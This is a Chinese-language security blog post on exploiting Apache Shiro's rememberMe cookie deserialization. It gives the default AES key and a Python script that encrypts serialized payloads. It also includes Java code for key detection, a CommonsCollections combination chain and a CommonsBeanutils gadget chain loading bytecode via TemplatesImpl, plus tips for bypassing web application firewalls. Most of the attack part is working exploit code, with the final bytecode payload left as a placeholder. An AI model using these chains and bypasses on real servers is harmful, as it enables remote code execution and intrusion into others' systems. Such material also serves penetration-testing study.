Shiro反序列化相关

文摘   2024-02-18 00:00   陕西  

原理

获取Cookie中rememberMe的值    · 对rememberMe进行Base64解码    · 使用AES进行解密    · 对解密的值进行反序列化      这样的话攻击者就可以通过构造一个恶意的payload序列化之后 然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。

Shiro Key检测

当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。

这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。

 SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();        serialie(simplePrincipalCollection);

URLDNS链

首先进行序列化之后 进行AES加密 然后Base64进行编码

import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename):    with open(filename, 'rb') as f:        data = f.read()    return data def aes_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return ciphertext def aes_dec(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s : s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key), mode, iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file_data("ser.bin")    print(aes_enc(data))

需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可

Shiro CC链

需要注意的是Shiro打CC链的话,你的POC中不能出现Transformer数组,因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。

TemplatesImpl templates = new TemplatesImpl();        Class<? extends TemplatesImpl> clazz = templates.getClass();        Field name = clazz.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"12312");        Field bytecodes = clazz.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Base64.getDecoder().decode("xxxx");        bytecodes.set(templates,new byte[][]{code});InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
HashMap map = new HashMap(); Map decorate = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); decorate.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(decorate,transformer); serialie(map2);

Shiro绕过思路

绕过WAF
  1. 利用NSLOOKUP对域名进行解析,如果对域名加了WAF,我们可以修改hosts文件绑定域名进行攻击。

  2. 将请求方式删除掉,比如GET或者POST。

  3. 给rememberMe字段中添加$符号,因为在Shiro AES解密之前需要先对该字段进行BASE64解码,而在解码方法中有一个discardNonBase64方法,这个方法是去除非BASE64的字符。

Shiro CB链

PriorityQueue#readObject() -->     PriorityQueue#heapify() -->      PriorityQueue#siftDown() -->        PriorityQueue#siftDownUsingComparator() -->          BeanComparator#compare() -->            PropertyUtils#getProperty(Templeats,"outputproperties") -->              TemplatesImpl#getOutputProperties() -->                TemplatesImpl#newTransformer() -->                  TransletClassLoader#defineClass()
TemplatesImpl templates = new TemplatesImpl();        Class<? extends TemplatesImpl> clazz = templates.getClass();        Field name = clazz.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"12312");        Field bytecodes = clazz.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Base64.getDecoder().decode("xxx");        bytecodes.set(templates,new byte[][]{code});     TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);        priorityQueue.add(templates);        priorityQueue.add(templates);
//CB BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare()); Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field field = priorityQueueClass.getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,beanComparator);

serialie(priorityQueue); unserialie("ser2.bin");

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章